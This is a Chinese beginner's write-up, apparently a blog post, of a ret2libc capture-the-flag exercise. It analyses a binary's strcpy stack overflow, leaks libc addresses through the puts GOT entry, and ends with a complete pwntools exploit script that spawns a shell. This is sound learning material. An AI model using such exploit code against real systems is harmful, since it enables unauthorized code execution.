作为一名初学者,在碰到很多攻击思路的时候会感觉很妙,比如gadget的构造,这题的sh参数截断。

1、首先分析程序架构和保护措施。

2、使用IDA开始判断程序是否具备最简单的栈溢出执行条件:

  • ret2text:不具备,没有shell可执行代码
  • ret2shellcode:不具备写入全局区域的入口

  • 没有bin/bash可用,也没有system函数可以调用
  • 没有完整gadget构造链

3、执行程序,通过IDA分析main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v3; // ST04_4
int v4; // ST08_4
char src; // [esp+12h] [ebp-10Eh]
char buf; // [esp+112h] [ebp-Eh]
int v8; // [esp+11Ch] [ebp-4h] puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0, &buf, 0xAu);
v8 = strtol(&buf, v3, v4);
See_something(v8);
printf("Leave some message for me :");
fflush(stdout);
read(0, &src, 0x100u);
Print_message(&src);
puts("Thanks you ~");
return 0;
}

程序首先输出一段文字,然后提醒输入内存地址来查看该地址的内容,通过See_something函数实现。

See_something函数如下:

int __cdecl See_something(_DWORD *a1)
{
return printf("The content of the address : %p\n", *a1);
}

然后读取字符串写入&src,然后将&src指针参数传递给Print_message函数

read(0, &src, 0x100u);
Print_message(&src);

查看Print_message(&src)代码。通过strcpy,将src中的内容拷贝到dest的内存空间中

int __cdecl Print_message(char *src)
{
char dest; // [esp+10h] [ebp-38h] strcpy(&dest, src);
return printf("Your message is : %s", &dest);
}

Print_message存在栈溢出点,由于src的可写入空间是0x100,而dest的内存空间只有0x38,通过strcpy可以覆盖ret地址。

4、完整攻击思路:

(1)通过第一次程序读取任意内存位置内容,来读取程序got表中的puts函数实际地址。在程序第一次调用puts函数时,函数指针指向plt,所以通过执行完一次puts后,再读取got表中的实际地址;

(2)由于puts函数地址随机性,通过提供的libc文件计算,puts函数和system函数的偏移量,这两步最终就是为了得到libc中实际的system函数地址;

(3)通过strcpy栈溢出覆盖ret address,让函数ret指向上面已经拿到的system函数;

(4)system函数的参数“sh”并不能在程序中找到,但是可以使用包含sh的任意字符串截断形成参数(这一步太妙了);

5、先简单的画一个堆栈图

当开始执行Print_message(&src)函数的时候,看到esp+0x12的内存地址写入了eax,然后再最终写入当前的esp。也就是将src的内存地址压栈。

0x804864b <main+206>    lea    eax, [esp + 0x12]
0x804864f <main+210> mov dword ptr [esp], eax

然后执行call Print_message,自动将下一行地址8048657(也就是ret address)push到堆栈,然后进入Print_message开始push ebp,并提升栈底,创建新的堆栈空间。

所以最终在Print_message函数中堆栈图是这样

将程序停留到strcpy执行完后的下一行,不要退出Print_message,观察堆栈情况。

所以要达到能覆盖ret的长度是0xffffd7ec-0xffffd7b0

ret需要指向的system函数地址,通过libc偏移计算,借助pwntools,得到system函数在libc中的实际地址。也可以直接用ida加载libc.so计算。

libc3 = ELF("/lib/i386-linux-gnu/libc.so.6")

 //先得到puts的got地址
puts_gots_address = elf.got["puts"] //读取puts地址中实际的puts地址
r.sendline(str(puts_gots_address))
s = r.recv()
puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16) //通过偏移计算得到system在libc中的真实地址
offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"]
system_libc_address = puts_libc_address + offset_libc_address

最后需要找到system函数需要的sh参数

如下图,这里使用fflush字符串的截断,是0x0804829E位置的sh。

然后就可以构造payload,得到shell。

from pwn import *
 
elf = ELF("./ret2libc3")
r = process("./ret2libc3")
libc3 = ELF("/lib/i386-linux-gnu/libc.so.6")
 
r.recvuntil("Give me an address (in dec) :")
puts_gots_address = elf.got["puts"]
r.sendline(str(puts_gots_address))
s = r.recv()
puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16)
 
offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"]
system_libc_address = puts_libc_address + offset_libc_address
offset = 0xffffd7ec-0xffffd7b0
sh_address = 0x0804829E
 
shellcode = flat(offset*'A',system_libc_address,0xdeadbeef,sh_address)
r.sendline(shellcode)
r.interactive()

栈溢出-ret2libc地址泄露笔记的更多相关文章

  1. mac地址学习笔记

    MAC(Media Access Control或者Medium Access Control)地址, 意译为媒体访问控制,或称为物理地址.硬件地址,用来定义网络设备的位置. 在OSI模型中,第三层网 ...

  2. aspcms逻辑错误导致后台地址泄露

    访问即可跳转后台地址: URL:http://www.xxx.org.cn/plug/oem/AspCms_OEMFun.asp 注入:plug/comment/commentList.asp?id= ...

  3. ONVIFclient搜索设备获取rtsp地址开发笔记(精华篇)

    概要:           眼下ONVIF协议家族设备已占领数字监控行业半壁江山以上.亲,作为开发人员的你还在犹豫是否了解下吗?本文介绍了ONVIFclient从设备搜索,鉴权,能力获取,媒体信息获取 ...

  4. RK3288以太网的mac地址调试笔记【学习笔记】【原创】

    平台信息:内核:linux3.1.0系统:android/android6.0平台:RK3288 作者:庄泽彬(欢迎转载,请注明作者) 邮箱:2760715357@qq.com 说明:提供以太网mac ...

  5. ONVIF客户端搜索设备获取rtsp地址开发笔记(精华篇)

    原文  http://blog.csdn.net/gubenpeiyuan/article/details/25618177   概要: 目前ONVIF协议家族设备已占据数字监控行业半壁江山以上,亲, ...

  6. 【视频开发】ONVIF客户端搜索设备获取rtsp地址开发笔记(精华篇)

    转载地址:http://blog.csdn.net/gubenpeiyuan/article/details/25618177 概要:           目前ONVIF协议家族设备已占据数字监控行业 ...

  7. IPV4地址学习笔记

    IP地址由网络号和主机号组成.IPV4由32位正整数来表示. A类IP:8位网络号+24主机号,网络号以0开头,网络号范围0~127 B类IP:16位网络号+16主机号,网络号以10开头,网络号范围1 ...

  8. 《Linux就该这么学》培训笔记_ch14_使用DHCP动态管理主机地址

    <Linux就该这么学>培训笔记_ch14_使用DHCP动态管理主机地址 文章最后会post上书本的笔记照片. 文章主要内容: 动态主机地址管理协议 部署dhcpd服务程序 自动管理IP地 ...

  9. IronPython .NET Integration官方文档翻译笔记

    http://ironpython.net/documentation/dotnet/这是原文地址 以下笔记仅记录阅读过程中我认为有必要记录的内容,大多数都是依赖翻译软件的机翻,配合个人对代码的理解写 ...

  10. 《Python 数据科学实践指南》读书笔记

    文章提纲 全书总评 C01.Python 介绍 Python 版本 Python 解释器 Python 之禅 C02.Python 基础知识 基础知识 流程控制: 函数及异常 函数: 异常 字符串 获 ...

随机推荐

  1. [转帖]mysql 数据库视图迁移

    https://www.cnblogs.com/phpyangbo/p/6132821.html 最近做一个项目,为了方便查询,建了好多的视图表,正式上线的时候需要把本地数据库迁移到服务器上. 按照常 ...

  2. MongoDB的安装使用与监控

    MongoDB的安装使用与监控 下载 https://www.mongodb.com/try/download/community 我这边习惯于下载 Windows 的 MSI 进行安装 Linux ...

  3. [转帖]shell脚本使用expect自动化交互登录远程主机进行批量关机

    前文 1.目标主机登录用户都为root,且密码一致 2.目标主机开放启动了SSH服务且22号端口可访问(防火墙未进行拦截) 软件介绍 expect Expect是一个用来实现自动和交互式任务进行通信的 ...

  4. [转帖]grafana 连接 influxdb 1.x 和 2.x

    文章目录 一.安装 influxdb Ⅰ.docker 安装 二.常用操作 Ⅰ.influxdb 1.x版本添加用户认证 Ⅱ.influxdb 2.x 使用命令行 Ⅲ.CLI 配置token Ⅴ.CL ...

  5. Oracle的awr的学习与整理

    Oracle的awr的学习与整理 背景 本来想上周末进行一下总结和汇总 因为周末两天进行了一次长时间的培训.所以没有成行. 只能在工作之余找时间进行总结. 数据库部分自己一个不是很强. 其实也比较抗拒 ...

  6. [知乎]2019-nCov的致死率问题

    https://www.zhihu.com/question/369630554/answer/998649507 知乎 dr.李的文章 跟自己一开始的理解很相似.. 个人也认为死亡率会高于2% 武汉 ...

  7. [专贴]在软件测试中UT,IT,ST,UAT分别是什么意思?

    在软件测试中UT,IT,ST,UAT分别是什么意思? https://zhidao.baidu.com/question/205450063884417205.html     UT(Unit Tes ...

  8. 简单监控Tomcat连接池大小的命令以及其他简单命令

    while true ; do date && echo "当前数据库连接池大小为:" $(jmap -histo `jps |grep caf |awk '{pr ...

  9. 银河麒麟v10 安装 virt-manager 的过程

    上个月公司购置一台飞腾2000+ 银河麒麟v10的机器. 想着能够利用虚拟化 安装一下虚拟机 提高测试灵活度 找了一下原厂要了一下相关的命令 在这里进行一下测试工作. 第一步: 安装必备的包 yum ...

  10. 除了Adobe之外,还有什么方法可以将Excel转为PDF?

    前言 Java是一种广泛使用的编程语言,它在企业级应用开发中发挥着重要作用.而在实际的开发过程中,我们常常需要处理各种数据格式转换的需求.今天小编为大家介绍下如何使用葡萄城公司的的Java API 组 ...